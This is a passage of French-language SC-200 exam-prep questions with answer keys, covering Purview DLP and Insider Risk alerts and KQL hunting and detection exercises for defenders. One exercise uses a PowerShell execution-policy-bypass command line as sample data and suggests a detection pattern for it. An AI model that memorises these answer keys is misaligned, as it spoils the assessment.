**Énoncé :** Une stratégie DLP Purview détecte qu'un employé a téléchargé vers un site de stockage personnel des fichiers contenant des numéros de sécurité sociale. Où l'analyste SOC peut-il examiner cette alerte avec le contexte des autres signaux de sécurité ?

**A.** Uniquement dans les journaux Syslog.

**B.** Dans les recommandations de Defender for Cloud.

**C.** Dans le rapport de santé des capteurs MDI.

**D.** Dans la file des incidents et alertes du portail Microsoft Defender, où les alertes DLP Purview sont intégrées (ainsi que dans le tableau de bord des alertes DLP de Purview).

**Bonne réponse : D**

**Correction détaillée**

Les **alertes DLP** de Microsoft Purview remontent dans **Defender XDR** (incidents/alertes), ce qui permet de les corréler avec d'autres signaux (compromission de compte, exfiltration). Elles restent aussi consultables dans le **tableau de bord des alertes DLP** de Purview.

**Analyse des réponses incorrectes**

- **A.** Les alertes DLP ne transitent pas par Syslog.
- **B.** Les recommandations concernent la posture des ressources cloud.
- **C.** Sans rapport.

**Explication technique**

La DLP des terminaux (Endpoint DLP) s'appuie sur les appareils intégrés. Les alertes de **Gestion des risques internes** (Insider Risk Management) peuvent aussi être intégrées, avec pseudonymisation selon les paramètres. Le référentiel cite « Examiner et corriger les menaces ou entités compromises identifiées par Microsoft Purview ».

**Point à retenir pour l'examen :** Alertes DLP Purview = visibles et corrélées dans les incidents Defender XDR.

**Référence officielle**

- En savoir plus sur la protection contre la perte de données — https://learn.microsoft.com/fr-fr/purview/dlp-learn-about-dlp

- Prise en main du tableau de bord Alertes de protection contre la perte de données — https://learn.microsoft.com/fr-fr/purview/dlp-alerts-dashboard-get-started

## Question n° 172 — Gestion des risques internes

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le SOC reçoit une alerte de Gestion des risques internes (Insider Risk Management) concernant un utilisateur sur le départ ayant exfiltré des données. Pourquoi l'identité de l'utilisateur peut-elle apparaître pseudonymisée ?

**A.** Parce que l'utilisateur n'existe plus dans Entra ID.

**B.** Parce que les paramètres de confidentialité d'Insider Risk Management peuvent masquer les noms des utilisateurs pour protéger la vie privée, seuls des rôles autorisés pouvant lever la pseudonymisation.

**C.** Parce que le connecteur Syslog est mal configuré.

**D.** Parce que Defender XDR ne prend pas en charge les alertes Purview.

**Bonne réponse : B**

### Correction détaillée

**Insider Risk Management** propose la **pseudonymisation** des utilisateurs pour limiter les biais et protéger la vie privée ; seuls les enquêteurs autorisés (rôles Insider Risk) voient l'identité réelle.

### Analyse des réponses incorrectes

- **A.** Ce n'est pas la cause de la pseudonymisation.
- **C.** Sans rapport.
- **D.** Ces alertes peuvent être intégrées.

### Explication technique

Ces enquêtes impliquent souvent les RH et le juridique : le SOC doit respecter les procédures d'escalade et la confidentialité. Les indicateurs (téléchargements massifs, impression, copie sur USB, envoi vers des e-mails personnels) proviennent de Microsoft 365 et des appareils.

**Point à retenir pour l'examen :** Alertes Insider Risk : pseudonymisation possible ; coordination RH/juridique.

### Référence officielle

- En savoir plus sur la gestion des risques internes — https://learn.microsoft.com/fr-fr/purview/insider-risk-management

## Question n° 173 — Chasse sur les activités Microsoft 365 dans Sentinel

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous recherchez dans Sentinel les partages anonymes (liens « Tout le monde ») créés sur SharePoint/OneDrive au cours des dernières 24 heures. Quelle requête est la plus appropriée ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where AppDisplayName == "SharePoint"
```

**B.**

REQUÊTE KQL

```
AzureActivity
| where TimeGenerated > ago(1d)
| where OperationNameValue has "AnonymousLink"
```

**C.**

REQUÊTE KQL

```
OfficeActivity
| where TimeGenerated > ago(1d)
| where OfficeWorkload in ("SharePoint", "OneDrive")
| where Operation in ("AnonymousLinkCreated", "AnonymousLinkUsed")
| project TimeGenerated, UserId, Operation, OfficeObjectId, ClientIP
```

**D.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 5140
```

**Bonne réponse : C**

**Correction détaillée**

Les opérations SharePoint/OneDrive du journal d'audit Microsoft 365 sont dans **OfficeActivity** (connecteur Office 365), avec `OfficeWorkload`, `Operation` (AnonymousLinkCreated, FileDownloaded, SharingSet...), `UserId`, `ClientIP`, `OfficeObjectId` (URL de l'élément).

**Analyse des réponses incorrectes**

- **A.** Liste des connexions, pas des créations de liens anonymes.
- **B.** AzureActivity ne contient pas les opérations SharePoint.
- **D.** L'événement 5140 concerne l'accès à des partages réseau Windows (SMB).

**Explication technique**

Les liens anonymes sont un vecteur d'exfiltration. Côté XDR, CloudAppEvents fournit des informations similaires. Prévention : restreindre le partage externe au niveau du locataire ou des sites, étiquettes de confidentialité.

**Résultat attendu**

Les créations et utilisations de liens anonymes avec l'utilisateur, l'objet et l'IP.

**Point à retenir pour l'examen :** Activités SharePoint/OneDrive/Exchange dans Sentinel = OfficeActivity (Operation, OfficeWorkload, OfficeObjectId).

**Référence officielle**

- Activité de Bureau — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/officeactivity

## 2.10 Règles de détection personnalisées Defender XDR

### Question n° 174 — Colonnes requises d'une détection personnalisée

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous transformez une requête de chasse avancée sur DeviceProcessEvents en règle de détection personnalisée. L'assistant refuse la requête ou les alertes ne sont pas correctement rattachées aux appareils. Quelles colonnes la requête doit-elle renvoyer ?

**A.** Timestamp (ou TimeGenerated), ainsi que DeviceId et ReportId pour les tables Defender for Endpoint.

**B.** SHA256 et FileName uniquement.

**C.** Aucune colonne particulière : toute requête est acceptée telle quelle.

**D.** Uniquement DeviceName.

**Bonne réponse : A**

### Correction détaillée

D'après la documentation, les résultats doivent comporter **Timestamp ou TimeGenerated** (horodatage de l'alerte) et, pour les tables **Defender for Endpoint**, **DeviceId** et **ReportId** ; pour les autres tables Defender, **Timestamp et ReportId** du même événement. Cela permet d'identifier l'événement d'origine, de rattacher l'alerte aux bonnes entités et d'appliquer les actions.

### Analyse des réponses incorrectes

- **B.** Ces colonnes décrivent le fichier, pas l'événement ni l'appareil de façon unique.
- **C.** La documentation impose des colonnes requises.
- **D.** DeviceName seul ne permet pas d'identifier l'événement d'origine ; DeviceId et ReportId sont attendus pour les tables MDE.

### Explication technique

Pour une requête agrégée, on récupère l'événement le plus récent avec `arg_max` : `summarize (Timestamp, ReportId) = arg_max(Timestamp, ReportId), count() by DeviceId`. Chaque exécution d'une règle peut générer au maximum **150 alertes**. Les autorisations de gestion dépendent des tables utilisées (par exemple, gérer les deux services pour IdentityLogonEvents).

### Exemple pratique

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
DeviceEvents
| where ActionType == "AntivirusDetection"
| summarize (Timestamp, ReportId) = arg_max(Timestamp, ReportId), Detections = count() by DeviceId
| where Detections > 5
```

**Point à retenir pour l'examen :** Détection personnalisée : Timestamp/TimeGenerated + DeviceId + ReportId (tables MDE) ; 150 alertes max par exécution.

### Référence officielle

- Créer des règles de détection personnalisées dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/custom-detection-rules
- Vue d'ensemble des détections personnalisées — https://learn.microsoft.com/fr-fr/defender-xdr/custom-detections-overview

## Question n° 175 — Fréquence d'une détection personnalisée

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une règle de détection personnalisée Defender XDR porte sur une seule table (DeviceProcessEvents) et utilise uniquement des opérateurs simples. Vous voulez la détection la plus rapide possible, sans impact notable sur les ressources. Quelle fréquence choisir ?

**A.** Toutes les 3 heures.

**B.** Toutes les 24 heures.

**C.** Personnalisée à 5 minutes.

**D.** Continuous (NRT), qui évalue les événements en quasi-temps réel au fur et à mesure de leur collecte.

**Bonne réponse : D**

### Correction détaillée

La fréquence **Continuous (NRT)** est recommandée pour toute règle éligible : requête sur **une seule table prise en charge**, opérateurs pris en charge, colonnes en disponibilité générale. Selon la documentation, elle a un impact minimal sur les ressources.

### Analyse des réponses incorrectes

- **A.** Possible, mais plus lent que le mode continu, alors que la requête y est éligible.
- **B.** Délai de détection beaucoup trop long.

- **C.** La fréquence personnalisée n'est proposée que pour les règles portant uniquement sur des données ingérées par Microsoft Sentinel.

**Explication technique**

Fréquences disponibles : toutes les 24 h, 12 h, 3 h, 1 h, Continuous (NRT), et **Custom** (de 5 minutes à 14 jours) pour les règles fondées uniquement sur des données Sentinel. À l'enregistrement, une nouvelle règle vérifie les 30 derniers jours de données. Microsoft recommande de ne pas filtrer inutilement sur Timestamp, le service préfiltrant selon la fenêtre de la règle. Les règles peuvent déclencher des actions automatiques (isoler l'appareil, collecter un package, mettre en quarantaine un fichier, désactiver un utilisateur...).

**Point à retenir pour l'examen :** Détection personnalisée éligible = Continuous (NRT) ; Custom (5 min–14 j) réservé aux données Sentinel.

**Référence officielle**

- Créer des règles de détection personnalisées dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/custom-detection-rules

# Module 3 — Kusto Query Language (KQL) — exercices avancés (questions 176 à 276)

Ce module est la **section d'exercices KQL avancés** demandée par le cahier des charges. Il comprend cinq séries d'au moins 20 exercices : **compréhension** de requêtes existantes, **correction** de requêtes erronées, **création** de requêtes à partir d'un besoin de détection, **corrélation** entre plusieurs tables et **chasse aux menaces** sur des journaux simulés (`datatable`) que vous pouvez exécuter tels quels dans n'importe quel espace Log Analytics ou dans la chasse avancée.

Pour chaque exercice, l'énoncé présente le besoin et la requête ; la correction explique les opérateurs importants, décrit le résultat attendu, signale les hypothèses de schéma et propose une amélioration. Attention aux différences d'environnement : `TimeGenerated` dans Sentinel / Log Analytics, `Timestamp` dans la chasse avancée Defender XDR.

## 3.1 Compréhension de requêtes existantes

### Question n° 176 — Lire une requête de base sur les échecs de connexion

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** repérer les comptes les plus ciblés par des échecs de connexion Entra ID. Que renvoie la requête suivante ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType != "0"
| summarize Echecs = count() by UserPrincipalName
| top 10 by Echecs
```

**A.** Les 10 adresses IP ayant le plus d'échecs.

**B.** Les 10 comptes ayant le plus d'échecs de connexion interactive au cours des dernières 24 heures, avec leur nombre d'échecs, triés par ordre décroissant.

**C.** Les 10 dernières connexions réussies des dernières 24 heures.

**D.** Tous les comptes ayant au moins 10 échecs.

**Bonne réponse : B**

**Correction détaillée**

La requête filtre la fenêtre de 24 heures, conserve les connexions dont le code de résultat n'est pas « 0 » (échecs), compte les lignes par utilisateur, puis `top 10 by Echecs` renvoie les 10 lignes ayant la plus grande valeur (tri **décroissant par défaut**).

**Analyse des réponses incorrectes**

- **A.** Le regroupement porte sur UserPrincipalName, pas sur IPAddress.
- **C.** `ResultType != "0"` exclut les succès ; `top` trie sur Echecs, pas sur l'heure.
- **D.** `top 10` limite à 10 lignes ; il ne filtre pas sur un seuil d'échecs.

**Explication technique**

**Opérateurs :** `where` filtre les lignes ; `ago(24h)` calcule l'instant présent moins 24 heures ; `summarize count() by` agrège ; `top N by col` combine tri et limitation (équivalent de `sort by Echecs desc | take 10`). **ResultType** est une chaîne dans SigninLogs : on compare à `"0"`.

**Résultat attendu**

10 lignes maximum, deux colonnes : UserPrincipalName et Echecs.

**Hypothèses liées au schéma de données**

SigninLogs ne contient que les connexions **interactives** ; les échecs non interactifs sont dans AADNonInteractiveUserSignInLogs.

**Amélioration proposée**

Ajouter `dcount(IPAddress)` pour distinguer une attaque distribuée d'un utilisateur qui se trompe de mot de passe, et exclure les codes non liés à une attaque (par exemple 50140, interruption « Rester connecté ? »).

> **Point à retenir pour l'examen :** `top N by col` = tri décroissant + limitation ; ResultType de SigninLogs est une chaîne.

**Référence officielle**

- opérateur where — https://learn.microsoft.com/fr-fr/kusto/query/where-operator?view=microsoft-sentinel
- opérateur top — https://learn.microsoft.com/fr-fr/kusto/query/top-operator?view=microsoft-sentinel
- SigninLogs — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/signinlogs

## Question n° 177 — Agrégation temporelle avec bin()

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** visualiser l'évolution du nombre d'événements de sécurité Windows. Que produit la requête ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityEvent
| where TimeGenerated > ago(7d)
| summarize Evenements = count() by bin(TimeGenerated, 1h), Computer
| render timechart
```

**A.** Une série temporelle du nombre d'événements par tranche d'une heure et par ordinateur sur 7 jours, affichée sous forme de graphique chronologique.

**B.** Le nombre total d'événements des 7 derniers jours, en une seule valeur.

**C.** Les événements arrondis à l'heure, sans agrégation.

**D.** Uniquement les événements survenus à l'heure pile (minute 00).

**Bonne réponse : A**

**Correction détaillée**

`bin(TimeGenerated, 1h)` arrondit chaque horodatage au début de sa tranche horaire ; `summarize count() by bin(...), Computer` compte les événements par tranche et par ordinateur ; `render timechart` trace une courbe par ordinateur.

**Analyse des réponses incorrectes**

- **B.** Le regroupement par `bin(TimeGenerated, 1h)` et Computer produit une ligne par heure et par ordinateur.
- **C.** `summarize` agrège : on obtient des comptes, pas des événements individuels.
- **D.** `bin` arrondit chaque horodatage à la tranche inférieure ; il ne filtre pas.

**Explication technique**

**bin()** (alias `floor()`) crée des intervalles réguliers : indispensable pour les agrégations temporelles et les détections de pics. `render` est une instruction de visualisation interprétée par l'interface (Log Analytics, chasse avancée, classeurs) ; elle doit être la dernière.

**Résultat attendu**

Une ligne par (heure, ordinateur) avec la colonne Evenements, puis un graphique chronologique.

**Hypothèses liées au schéma de données**

Les tranches sans événement n'apparaissent pas (pas de valeur 0) ; utilisez `make-series` pour obtenir des séries complètes.

**Amélioration proposée**

Limiter aux ordinateurs les plus bavards (`top-nested` ou un `where Computer in (...)`) pour garder un graphique lisible.

> **Point à retenir pour l'examen :** `bin(TimeGenerated, 1h)` = regroupement par tranches régulières ; `render timechart` pour visualiser.

**Référence officielle**

- bin() — https://learn.microsoft.com/fr-fr/kusto/query/bin-function?view=microsoft-sentinel
- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel
- render, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/render-operator?view=microsoft-sentinel

## Question n° 178 — Différence entre extend et project

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** préparer des résultats lisibles. Quelle affirmation décrit correctement l'effet des deux requêtes suivantes ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
// Requête 1
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| extend Parent = InitiatingProcessFileName
```

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
// Requête 2
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| project TimeGenerated, DeviceName, FileName, Parent = InitiatingProcessFileName
```

**A.** La requête 2 provoque une erreur car on ne peut pas renommer dans `project`.

**B.** Les deux requêtes renvoient exactement les mêmes colonnes.

**C.** La requête 1 ajoute la colonne Parent en conservant toutes les colonnes existantes ; la requête 2 ne conserve que les quatre colonnes listées, dont Parent.

**D.** La requête 1 supprime la colonne InitiatingProcessFileName.

**Bonne réponse : C**

**Correction détaillée**

**extend** ajoute des colonnes calculées à toutes les colonnes existantes ; **project** sélectionne, renomme ou calcule uniquement les colonnes indiquées et supprime les autres.

**Analyse des réponses incorrectes**

- **A.** `project` accepte les renommages et les calculs (`Nouveau = expression`).
- **B.** `extend` conserve toutes les colonnes, `project` ne garde que celles listées.
- **D.** `extend` ne supprime rien ; il ajoute (ou remplace) une colonne.

**Explication technique**

Variantes : `project-away` (supprime des colonnes), `project-rename` (renomme sans changer les autres), `project-reorder` (réordonne), `project-keep` (conserve des colonnes par motif). Réduire tôt les colonnes avec `project` améliore les performances, surtout avant une jointure.

**Résultat attendu**

Requête 1 : toutes les colonnes de DeviceProcessEvents + Parent. Requête 2 : TimeGenerated, DeviceName, FileName, Parent.

**Hypothèses liées au schéma de données**

Ces requêtes utilisent le schéma Sentinel de DeviceProcessEvents (colonne `TimeGenerated`) ; en chasse avancée, on utiliserait `Timestamp`.

**Point à retenir pour l'examen :** extend = ajoute (garde tout) ; project = sélectionne (ne garde que la liste).

**Référence officielle**

- opérateur extend — https://learn.microsoft.com/fr-fr/kusto/query/extend-operator?view=microsoft-sentinel
- opérateur project — https://learn.microsoft.com/fr-fr/kusto/query/project-operator?view=microsoft-sentinel

## Question n° 179 — Opérateur count et fonction count()

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** mesurer un volume. Que renvoie chacune des requêtes ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
// A
SecurityEvent | where TimeGenerated > ago(1d) | where EventID == 4625 | count
```

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
// B
SecurityEvent | where TimeGenerated > ago(1d) | where EventID == 4625 | summarize count() by Computer
```

**A.** B renvoie une seule ligne avec le total.

**B.** A et B renvoient une ligne par ordinateur.

**C.** A renvoie une erreur car `count` doit être suivi de parenthèses.

**D.** A renvoie une seule ligne avec une colonne Count (nombre total d'échecs) ; B renvoie une ligne par ordinateur avec une colonne count_.

**Bonne réponse : D**

**Correction détaillée**

L'**opérateur `count` **renvoie le nombre de lignes de l'entrée (colonne** Count**). La** fonction d'agrégation `count()` **, utilisée dans `summarize`, compte par groupe ; sans alias, la colonne s'appelle **count_**.

**Analyse des réponses incorrectes**

- **A.** `by Computer` crée une ligne par ordinateur.
- **B.** L'opérateur `count` produit une seule ligne sans regroupement.
- **C.** `count` est aussi un opérateur tabulaire, utilisable sans parenthèses.

**Explication technique**

Nommer explicitement les agrégats (`Echecs = count()`) évite de manipuler `count_` et rend les requêtes plus lisibles. Variante : `countif(condition)` compte conditionnellement dans un même `summarize`.

**Résultat attendu**

A : 1 ligne (Count). B : N lignes (Computer, count_).

**Point à retenir pour l'examen :** `| count` = total en une ligne (Count) ; `summarize count() by X` = compte par groupe (count_).

**Référence officielle**

- count, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/count-operator?view=microsoft-sentinel

- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel

## Question n° 180 — has et contains

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** rechercher des lignes de commande PowerShell. Une ligne de commande vaut `powershell.exe -ExecutionPolicy Bypass -File C:\Temp\run.ps1`. Quelles conditions la retiennent ? (Analysez les quatre filtres.)

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
DeviceProcessEvents
| where TimeGenerated > ago(1d)
| where ProcessCommandLine has "bypass"        // filtre 1
// | where ProcessCommandLine has "pass"       // filtre 2
// | where ProcessCommandLine contains "pass"  // filtre 3
// | where ProcessCommandLine has_cs "bypass"  // filtre 4
```

**A.** Les filtres 1 et 3 la retiennent ; le filtre 2 ne la retient pas (« pass » n'est pas un terme entier) ; le filtre 4 non plus (sensible à la casse, « Bypass » ≠ « bypass »).

**B.** Seul le filtre 3 la retient, car `has` ne fonctionne pas sur les chemins.

**C.** Les quatre filtres la retiennent.

**D.** Seul le filtre 4 la retient.

**Bonne réponse : A**

### Correction détaillée

**has** recherche un **terme entier** (séquence alphanumérique délimitée), sans tenir compte de la casse, et s'appuie sur l'index de termes (rapide). **contains** recherche une **sous-chaîne** quelconque, sans tenir compte de la casse (plus lent). Les variantes **_cs** sont sensibles à la casse.

### Analyse des réponses incorrectes

- **B.** `has` trouve « bypass » qui est un terme délimité dans la chaîne.
- **C.** `has` cherche un terme entier et `has_cs` est sensible à la casse.
- **D.** `has_cs "bypass"` échoue car la casse diffère.

### Explication technique

Bonnes pratiques de performance : préférer `has` à `contains` quand on cherche un mot entier, `has_cs` / `==` quand la casse est connue, et `has_any(...)` pour plusieurs termes. `startswith` / `endswith` existent aussi. Les termes de moins de 3 caractères ne sont pas indexés.

### Résultat attendu

Avec le filtre 1 actif, la ligne est renvoyée.

### Amélioration proposée

Pour détecter les contournements de stratégie d'exécution, combiner `has_any ("bypass", "-ep", "-exec")` et vérifier les abréviations (`-ExecutionPolicy` peut être abrégé).

**Point à retenir pour l'examen :** has = terme entier (rapide) ; contains = sous-chaîne (lent) ; suffixe _cs = sensible à la casse.

### Référence officielle

- has, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/has-operator?view=microsoft-sentinel
- contains, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/contains-operator?view=microsoft-sentinel
- Opérateurs de chaîne — https://learn.microsoft.com/fr-fr/kusto/query/datatypes-string-operators?view=microsoft-sentinel

## Question n° 181 — Égalité sensible ou non à la casse

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** filtrer un compte. Le champ AccountName contient « Admin.Backup ». Quelle requête renvoie bien ces lignes ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
DeviceLogonEvents
| where TimeGenerated > ago(1d)
| where AccountName =~ "admin.backup"
```

**A.** Elle renvoie toutes les lignes dont AccountName commence par « admin ».

**B.** Aucune ligne n'est renvoyée car `=~` est un opérateur d'expression régulière.

**C.** Celle-ci : l'opérateur `=~` compare sans tenir compte de la casse, donc « Admin.Backup » correspond à « admin.backup ».

**D.** Elle provoque une erreur, `=~` n'existant qu'en chasse avancée.

**Bonne réponse : C**

### Correction détaillée

`==` est sensible à la casse ; **`=~`** ne l'est pas. De même, `in` est sensible et **`in~`** ne l'est pas ; `!=` / **`!~`** pour les négations.

### Analyse des réponses incorrectes

- **A.** `=~` est une égalité stricte (hors casse), pas un préfixe.
- **B.** `=~` est l'égalité insensible à la casse ; l'expression régulière s'écrit `matches regex`.
- **D.** L'opérateur est disponible partout en KQL.

### Explication technique

Les noms de comptes, d'hôtes et de domaines ont souvent des casses incohérentes selon les sources : utiliser `=~`, `in~` ou normaliser avec `tolower()` avant les jointures (les clés de jointure sont comparées de façon sensible à la casse).

### Résultat attendu

Les ouvertures de session du compte, quelle que soit la casse.

### Hypothèses liées au schéma de données

Requête sur le schéma Sentinel de DeviceLogonEvents (TimeGenerated).

**Point à retenir pour l'examen :** `==` / `in` sensibles à la casse ; `=~` / `in~` insensibles.

### Référence officielle

- Opérateurs de chaîne — https://learn.microsoft.com/fr-fr/kusto/query/datatypes-string-operators?view=microsoft-sentinel
- in~, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/in-operator?view=microsoft-sentinel

## Question n° 182 — Jointure par défaut innerunique

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** associer des alertes aux ouvertures de session. La table de gauche contient deux lignes avec la même valeur DeviceId=« D1 », la table de droite trois lignes avec DeviceId=« D1 ». Combien de lignes produit la jointure suivante (sans `kind`) ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
let gauche = datatable(DeviceId:string, Alerte:string)["D1","A1","D1","A2"];
let droite = datatable(DeviceId:string, Compte:string)["D1","u1","D1","u2","D1","u3"];
gauche
| join droite on DeviceId
```

**A.** 2 lignes, une par alerte.

**B.** 3 lignes : la saveur par défaut `innerunique` déduplique la table de gauche sur la clé avant la jointure (une seule ligne gauche conservée, de façon arbitraire), puis l'associe aux 3 lignes de droite.

**C.** 6 lignes, comme une jointure interne SQL classique.

**D.** 0 ligne, car les clés en double sont interdites.

**Bonne réponse : B**

### Correction détaillée

En KQL, **la jointure par défaut est `innerunique` : les doublons de clé de la table de** gauche** sont supprimés avant la jointure. Ici, une seule ligne « D1 » de gauche est conservée (A1 ou A2) et associée aux trois lignes de droite → 3 lignes. Avec `kind=inner`, on obtiendrait 2 × 3 = 6 lignes.

### Analyse des réponses incorrectes

- **A.** La droite n'est pas dédupliquée et produit plusieurs correspondances.
- **C.** Ce serait le cas avec `kind=inner`, pas avec la valeur par défaut.
- **D.** Les doublons sont acceptés.

### Explication technique

Saveurs principales : `inner`, `innerunique` (défaut), `leftouter`, `rightouter`, `fullouter`, `leftanti`, `rightanti`, `leftsemi`, `rightsemi`. En sécurité, préciser **toujours** `kind=` pour éviter des pertes silencieuses (une alerte peut disparaître).

### Résultat attendu

3 lignes avec les colonnes DeviceId, Alerte, DeviceId1, Compte.

### Amélioration proposée

Écrire `join kind=inner` si toutes les combinaisons sont nécessaires, ou dédupliquer explicitement avec `summarize arg_max(...)` avant la jointure.

**Point à retenir pour l'examen :** join sans `kind` = innerunique (déduplication de la gauche) ; préciser `kind=inner` pour toutes les combinaisons.

### Référence officielle

- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

## Question n° 183 — Jointure leftanti

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** contrôler la couverture. Que renvoie la requête ?

KQL — CHASSE AVANCÉE MICROSOFT DEFENDER XDR

```
DeviceInfo
| where Timestamp > ago(1d)
| summarize arg_max(Timestamp, *) by DeviceId
| join kind=leftanti (
    DeviceNetworkEvents
    | where Timestamp > ago(1d)
    | distinct DeviceId
  ) on DeviceId
| project DeviceName, OSPlatform, Timestamp
```

**A.** Les appareils présents dans l'inventaire du dernier jour qui n'ont généré aucun événement réseau sur la même période.

**B.** Les appareils présents dans les deux tables.

**C.** Les appareils ayant généré des événements réseau mais absents de l'inventaire.

**D.** Tous les appareils, enrichis de leurs événements réseau.

**Bonne réponse : A**

#### Correction détaillée

**leftanti** renvoie les lignes de la table de **gauche** qui n'ont **aucune correspondance** à droite. Ici : appareils inventoriés sans télémétrie réseau — signe possible d'un capteur défaillant, d'un appareil éteint ou d'une collecte altérée.

#### Analyse des réponses incorrectes

- **B.** Ce serait une jointure `inner` ou `leftsemi`.
- **C.** Ce serait `rightanti` (ou inverser les tables).
- **D.** Ce serait une jointure `leftouter`.

#### Explication technique

`arg_max(Timestamp, *) by DeviceId` garde la dernière ligne d'inventaire par appareil. `leftsemi` renvoie au contraire les lignes de gauche **ayant** une correspondance (sans ajouter de colonnes de droite). Ces modèles servent aux contrôles de couverture et de santé.

#### Résultat attendu

Une ligne par appareil sans événement réseau, avec son nom, sa plateforme et la date de dernier inventaire.

#### Hypothèses liées au schéma de données

Requête de chasse avancée (Timestamp). Un appareil peut légitimement n'avoir aucun trafic (éteint, isolé).

#### Amélioration proposée

Comparer aussi avec DeviceProcessEvents pour distinguer un appareil inactif d'une télémétrie réseau désactivée.

> **Point à retenir pour l'examen :** leftanti = « à gauche mais pas à droite » ; leftsemi = « à gauche et à droite » (colonnes de gauche).

#### Référence officielle

- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

## Question n° 184 — arg_max pour le dernier état

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Compréhension de requêtes existantes

**Énoncé : Besoin :** connaître le dernier état de chaque incident. Que fait `arg_max` dans cette requête ?

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SecurityIncident
| where TimeGenerated > ago(14d)
| summarize arg_max(TimeGenerated, Status, Severity, Owner) by IncidentNumber
```

**A.** Il trie les incidents par gravité maximale.

**B.** Il renvoie la valeur maximale de chacune des colonnes indépendamment.

**C.** Pour chaque IncidentNumber, il sélectionne la ligne ayant la valeur maximale de TimeGenerated et renvoie les colonnes Status, Severity et Owner de cette ligne.

D. Il renvoie la première ligne de chaque incident.

**Bonne réponse : C**

**Correction détaillée**

**arg_max(ExprMax, Col1, Col2, ...)** renvoie, pour chaque groupe, les colonnes indiquées de la ligne où ExprMax est maximal ; `arg_max(TimeGenerated, *)` renvoie toutes les colonnes. Idéal pour les tables historisées (SecurityIncident, inventaires).

**Analyse des réponses incorrectes**

- **A.** Il ne trie pas, il sélectionne une ligne par groupe.
- **B.** `arg_max` renvoie les colonnes d'**une même ligne** (celle où TimeGenerated est maximal).
- **D.** C'est `arg_min` qui renvoie la ligne de valeur minimale.

**Explication technique**

`arg_min` fait l'inverse (première occurrence). `take_any()` renvoie une valeur arbitraire (plus rapide, non déterministe). Pour l'horodatage de modification réel d'un incident, `LastModifiedTime` est aussi pertinent.

**Résultat attendu**

